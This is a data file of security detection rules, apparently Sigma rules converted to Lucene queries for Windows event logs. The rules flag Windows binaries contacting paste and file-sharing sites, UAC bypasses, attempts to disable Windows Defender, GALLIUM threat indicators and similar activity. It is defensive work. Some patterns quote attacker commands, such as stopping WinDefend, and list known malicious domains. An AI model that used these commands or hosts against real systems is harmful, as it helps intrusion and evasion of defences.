{"description": "Detects an executable in the Windows folder accessing github.com", "enabled": false, "false_positives": ["Unknown", "@subTee in your network"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "34aac872-7625-1891-4074-0b566f49b445", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Binary Github Communication", "query": "(winlog.event_data.Initiated:\"true\" AND destination.domain:(*.github.com OR *.githubusercontent.com) AND process.executable:C\\:\\\\Windows\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1105", "T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Michael Haag (idea)", "Florian Roth (rule)"], "license": ""}
{"description": "Detects an executable in the Windows folder accessing suspicious domains", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4efe8f2f-7b38-7ffd-df2a-58d47a888fd4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Binary Suspicious Communication Endpoint", "query": "(winlog.event_data.Initiated:\"true\" AND destination.domain:(*dl.dropboxusercontent.com OR *.pastebin.com OR *.githubusercontent.com OR *cdn.discordapp.com\\/attachments\\/ OR *mediafire.com OR *mega.nz OR *ddns.net OR *.paste.ee OR *.hastebin.com\\/raw\\/ OR *.ghostbin.co\\/ OR *ufile.io) AND process.executable:(C\\:\\\\Windows\\\\* OR C\\:\\\\Users\\\\Public\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", "enabled": false, "false_positives": ["Legitimate use of the API with a tool that the author wasn't aware of"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d9ea52b1-12c8-01f8-722b-c3641a27d747", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Dropbox API Usage", "query": "((winlog.event_data.Initiated:\"true\" AND destination.domain:(*api.dropboxapi.com OR *content.dropboxapi.com)) AND (NOT (process.executable:*\\\\Dropbox*)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", "enabled": false, "false_positives": ["One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e2442b1f-97e3-f33c-4834-1acbe753e560", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Dead Drop Resolvers", "query": "((winlog.event_data.Initiated:\"true\" AND destination.domain:(*cdn.discordapp.com OR *pastebin.com OR *youtube.com OR *technet.microsoft.com OR *facebook.com OR *.cloudflare.com OR *docs.google.com OR *steamcommunity.com OR *reddit.com OR *fotolog.com OR *twitter.com OR *imgur.com OR *feeds.rapidfeeds.com OR *livejournal.com OR *.githubusercontent.com)) AND (NOT ((process.executable.text:(*\\\\iexplore.exe OR *\\\\msedge.exe OR *\\\\edge.exe OR *\\\\opera.exe OR *\\\\brave.exe OR *\\\\vivaldi.exe OR *\\\\whale.exe OR *\\\\chrome.exe OR *\\\\firefox.exe)) OR (process.executable.text:(*\\\\MsMpEng.exe OR *\\\\MsSense.exe OR *\\\\PRTG\\ Probe.exe OR *\\\\Engine.exe OR *\\\\msedgewebview2.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1102", "T1102"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Sorina Ionescu"], "license": ""}
{"description": "Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3babc612-5c88-db17-55f5-7d827c39035e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Exploiting CVE-2019-1388", "query": "((process.parent.executable:*\\\\consent.exe AND process.executable:*\\\\iexplore.exe AND process.command_line:*\\ http*) AND (IntegrityLevel:\"System\" OR user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", "enabled": false, "false_positives": ["Rarely observed"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1e3381f9-0ca9-0db7-fc5d-92b43bca2eb8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "APT PRIVATELOG Image Load Pattern", "query": "(process.executable.text:*\\\\svchost.exe AND dll.path:*\\\\clfsw32.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an installation of a device that is forbidden by the system policy", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e934b10-b52d-efda-965a-417c4cbda125", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Device Installation Blocked", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"6423\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects an instance of an SES identity being deleted via the \"DeleteIdentity\" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities", "author": ["Janantha Marasinghe"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "dcaf98fa-668e-be9b-4504-7696c7c76b21", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SES Identity Has Been Deleted", "query": "(eventSource:\"ses.amazonaws.com\" AND eventName:\"DeleteIdentity\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an issue in apache logs that reports threading related errors", "enabled": false, "false_positives": [""], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e50b9175-abb0-43ef-2917-9ee139e4d047", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Apache Threading Error", "query": "\"__pthread_tpp_change_priority\\:\\ Assertion\\ `new_prio\\ \\=\\=\\ \\-1\\ \\||\\ \$new_prio\\ >\\=\\ fifo_min_prio\\ \\&&\\ new_prio\\ <\\=\\ fifo_max_prio\$\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "04bac874-44c4-3e0b-ba6f-3f222a31939b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using ChangePK and SLUI", "query": "(process.executable.text:*\\\\changepk.exe AND process.parent.executable.text:*\\\\slui.exe AND IntegrityLevel:(\"High\" OR \"System\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects any assembly DLL being loaded by an Office Product", "enabled": false, "false_positives": ["Alerts on legitimate macro usage as well, will need to filter as appropriate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "77df7737-9b12-4bda-8144-b838ad8ebddb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "dotNET DLL Loaded Via Office Applications", "query": "(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:C\\:\\\\Windows\\\\assembly\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Antonlovesdnb"], "license": ""}
{"description": "Detects any GAC DLL being loaded by an Office Product", "enabled": false, "false_positives": ["Alerts on legitimate macro usage as well, will need to filter as appropriate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c7d1b1e4-925b-1a3c-5c1c-c3d23df674f2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "GAC DLL Loaded Via Office Applications", "query": "(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:C\\:\\\\Windows\\\\Microsoft.NET\\\\assembly\\\\GAC_MSIL*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Antonlovesdnb"], "license": ""}
{"description": "Detects anydesk writing binaries files to disk other than \"gcapi.dll\". According to RedCanary research it's highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that's part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d2841e9e-b03b-3405-b122-9431ab828215", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Binary Writes Via AnyDesk", "query": "((process.executable.text:*\\\\anydesk.exe AND file.path.text:(*.dll OR *.exe)) AND (NOT ((file.path.text:*\\\\gcapi.dll))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cf89cd93-d4f9-3fba-7bdb-135451287fb2", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DPAPI Domain Master Key Backup Attempt", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4692\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects appending of zip file to image", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d91869b9-ad07-94b2-d124-decb00e661a7", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Steganography Hide Zip Information in Picture File", "query": "(type:\"EXECVE\" AND a0:\"cat\" AND a1:(*.jpg OR *.png) AND a2:*.zip)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c4eb4e8c-fde9-dcd0-c377-fb922effc59c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Application Allowed Through Exploit Guard", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Exploit\\ Guard\\\\Controlled\\ Folder\\ Access\\\\AllowedApplications* AND winlog.event_data.TargetObject:(*\\\\Users\\\\Public\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Desktop\\\\* OR *\\\\PerfLogs\\\\* OR *\\\\Windows\\\\Temp\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects Archer malware invocation via rundll32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f517938d-67a9-bfce-e0b5-b126aaea10b4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Fireball Archer Install", "query": "(process.command_line:*rundll32.exe* AND process.command_line:*InstallArcherSvc*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", "author": ["Tim Burrell"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bdacde06-a198-6130-85a1-f55d09b64981", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "GALLIUM Artefacts - Builtin", "query": "(winlog.event_id:\"257\" AND QNAME:(\"asyspy256.ddns.net\" OR \"hotkillmail9sddcc.ddns.net\" OR \"rosaf112.ddns.net\" OR \"cvdfhjh1231.myftp.biz\" OR \"sz2016rose.ddns.net\" OR \"dffwescwer4325.myftp.biz\" OR \"cvdfhjh1231.ddns.net\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "(v=ws.11)"], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c9922a6-9f4d-fbee-ef04-62096d71475a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "GALLIUM Artefacts", "query": "(sha1:\"e570585edc69f9074cb5e8a790708336bd45ca0f\" AND (NOT (process.executable.text:(*\\:\\\\Program\\ Files\$x86\$\\\\* OR *\\:\\\\Program\\ Files\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1071", "T1212"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1212", "name": "Exploitation for Credential Access", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.11)"], "timestamp_override": "event.ingested", "author": ["Tim Burrell"], "license": ""}
{"description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c9922a6-9f4d-fbee-ef04-62096d71475a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "GALLIUM Artefacts", "query": "sha1:(\"53a44c2396d15c3a03723fa5e5db54cafd527635\" OR \"9c5e496921e3bc882dc40694f1dcc3746a75db19\" OR \"aeb573accfd95758550cf30bf04f389a92922844\" OR \"79ef78a797403a4ed1a616c68e07fff868a8650a\" OR \"4f6f38b4cec35e895d91c052b1f5a83d665c2196\" OR \"1e8c2cac2e4ce7cbd33c3858eb2e24531cb8a84d\" OR \"e841a63e47361a572db9a7334af459ddca11347a\" OR \"c28f606df28a9bc8df75a4d5e5837fc5522dd34d\" OR \"2e94b305d6812a9f96e6781c888e48c7fb157b6b\" OR \"dd44133716b8a241957b912fa6a02efde3ce3025\" OR \"8793bf166cb89eb55f0593404e4e933ab605e803\" OR \"a39b57032dbb2335499a51e13470a7cd5d86b138\" OR \"41cc2b15c662bc001c0eb92f6cc222934f0beeea\" OR \"d209430d6af54792371174e70e27dd11d3def7a7\" OR \"1c6452026c56efd2c94cea7e0f671eb55515edb0\" OR \"c6b41d3afdcdcaf9f442bbe772f5da871801fd5a\" OR \"4923d460e22fbbf165bbbaba168e5a46b8157d9f\" OR \"f201504bd96e81d0d350c3a8332593ee1c9e09de\" OR \"ddd2db1127632a2a52943a2fe516a2e7d05d70d2\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1071", "T1212"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1212", "name": "Exploitation for Credential Access", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.11)"], "timestamp_override": "event.ingested", "author": ["Tim Burrell"], "license": ""}
{"description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c9922a6-9f4d-fbee-ef04-62096d71475a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "GALLIUM Artefacts", "query": "(winlog.channel:\"DNS\\ Server\" AND winlog.event_id:\"257\" AND QNAME:(\"asyspy256.ddns.net\" OR \"hotkillmail9sddcc.ddns.net\" OR \"rosaf112.ddns.net\" OR \"cvdfhjh1231.myftp.biz\" OR \"sz2016rose.ddns.net\" OR \"dffwescwer4325.myftp.biz\" OR \"cvdfhjh1231.ddns.net\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "(v=ws.11)"], "timestamp_override": "event.ingested", "author": ["Tim Burrell"], "license": ""}
{"description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "91eb2023-43dd-3bd2-5cb3-24a4c2358628", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Get-ADUser Enumeration Using UserAccountControl Flags", "query": "(powershell.file.script_block_text:*Get\\-ADUser* AND powershell.file.script_block_text:*\\-Filter* AND powershell.file.script_block_text:*useraccountcontrol* AND powershell.file.script_block_text:*\\-band* AND powershell.file.script_block_text:*4194304*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1057"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1057", "name": "Process Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects attackers attempting to disable Windows Defender using Powershell", "enabled": false, "false_positives": ["Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df12ba55-fdee-b1f1-e763-905198a597e1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Used To Disable Windows Defender AV Security Monitoring", "query": "((process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:(*\\-DisableBehaviorMonitoring\\ $true* OR *\\-DisableRuntimeMonitoring\\ $true*)) OR (process.command_line:*sc* AND process.command_line:*stop* AND process.command_line:*WinDefend*) OR (process.command_line:*sc* AND process.command_line:*config* AND process.command_line:*WinDefend* AND process.command_line:*start\\=disabled*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["ok @securonix invrep-de", "oscd.community", "frack113"], "license": ""}
{"description": "Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e64bad00-8ae1-1b20-692a-d510d739ed1f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bad Opsec Defaults Sacrificial Processes With Improper Arguments", "query": "((process.executable.text:*\\\\WerFault.exe AND process.command_line.text:*WerFault.exe) OR (process.executable.text:*\\\\rundll32.exe AND process.command_line.text:*rundll32.exe) OR (process.executable.text:*\\\\regsvcs.exe AND process.command_line.text:*regsvcs.exe) OR (process.executable.text:*\\\\regasm.exe AND process.command_line.text:*regasm.exe) OR (process.executable.text:*\\\\regsvr32.exe AND process.command_line.text:*regsvr32.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Oleg Kolesnikov @securonix invrep_de", "oscd.community", "Florian Roth", "Christian Burkard"], "license": ""}
{"description": "Detects attempted DLL load events that didn't meet signing level requirements", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0c411a7f-7521-e5cd-c6b5-c6f04c92e887", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Code Integrity Attempted DLL Load", "query": "(winlog.event_id:\"3033\" AND (NOT ((FileNameBuffer:*\\\\Program\\ Files\\\\DTrace\\\\dtrace.dll AND ProcessNameBuffer:*\\\\Windows\\\\System32\\\\svchost.exe AND RequestedPolicy:\"12\" AND ValidatedPolicy:\"1\") OR (FileNameBuffer:*\\\\Windows\\\\System32\\\\DriverStore\\\\FileRepository\\\\* AND FileNameBuffer:*\\\\igd10iumd64.dll AND RequestedPolicy:\"7\" AND ValidatedPolicy:\"1\") OR (FileNameBuffer:*\\\\Windows\\\\System32\\\\nvspcap64.dll AND ProcessNameBuffer:(*\\\\AppData\\\\Local\\\\Keybase\\\\Gui\\\\Keybase.exe OR *\\\\Microsoft\\\\Teams\\\\stage\\\\Teams.exe) AND RequestedPolicy:\"8\" AND ValidatedPolicy:\"1\") OR (FileNameBuffer:*\\\\Program\\ Files\\\\Bonjour\\\\mdnsNSP.dll AND ProcessNameBuffer:(*\\\\Windows\\\\System32\\\\svchost.exe OR *\\\\Windows\\\\System32\\\\SIHClient.exe) AND RequestedPolicy:(\"8\" OR \"12\") AND ValidatedPolicy:\"1\") OR (FileNameBuffer:*\\\\Microsoft\\ Office\\\\root\\\\vfs\\\\ProgramFilesCommonX64\\\\Microsoft\\ Shared\\\\OFFICE* AND FileNameBuffer:*\\\\MSOXMLMF.DLL AND RequestedPolicy:\"7\" AND ValidatedPolicy:\"1\") OR (FileNameBuffer:*\\\\Windows\\\\System32\\\\nvspcap64.dll AND ProcessNameBuffer:*\\\\AppData\\\\Local\\\\slack\\\\app\\-* AND ProcessNameBuffer:*\\\\slack.exe AND RequestedPolicy:\"8\" AND ValidatedPolicy:\"1\") OR (FileNameBuffer:(*\\\\Mozilla\\ Firefox\\\\mozavcodec.dll OR *\\\\Mozilla\\ Firefox\\\\mozavutil.dll) AND ProcessNameBuffer:*\\\\Mozilla\\ Firefox\\\\firefox.exe AND RequestedPolicy:\"8\") OR (FileNameBuffer:(*\\\\Program\\ Files\\\\Avast\\ Software\\\\Avast\\\\aswAMSI.dll OR *\\\\Program\\ Files\\ \$x86\$\\\\Avast\\ Software\\\\Avast\\\\aswAMSI.dll) AND ProcessNameBuffer:(*\\\\Windows\\\\System32\\\\SIHClient.exe OR *\\\\Windows\\\\System32\\\\svchost.exe OR *\\\\Windows\\ Defender\\\\MpCmdRun.exe) AND RequestedPolicy:(\"8\" OR \"12\") AND ValidatedPolicy:\"1\") OR (FileNameBuffer:(*\\\\stdole.dll OR *\\\\msdatasrc.dll) AND ProcessNameBuffer:*\\\\mscorsvw.exe AND ProcessNameBuffer:*\\\\Windows\\\\Microsoft.NET\\\\* AND RequestedPolicy:\"8\" AND ValidatedPolicy:\"2\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9968d5d5-830d-0232-2d11-9ef959a617fa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious FromBase64String Usage On Gzip Archive - Ps Script", "query": "(powershell.file.script_block_text:*FromBase64String* AND powershell.file.script_block_text:*MemoryStream* AND powershell.file.script_block_text:*H4sI*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
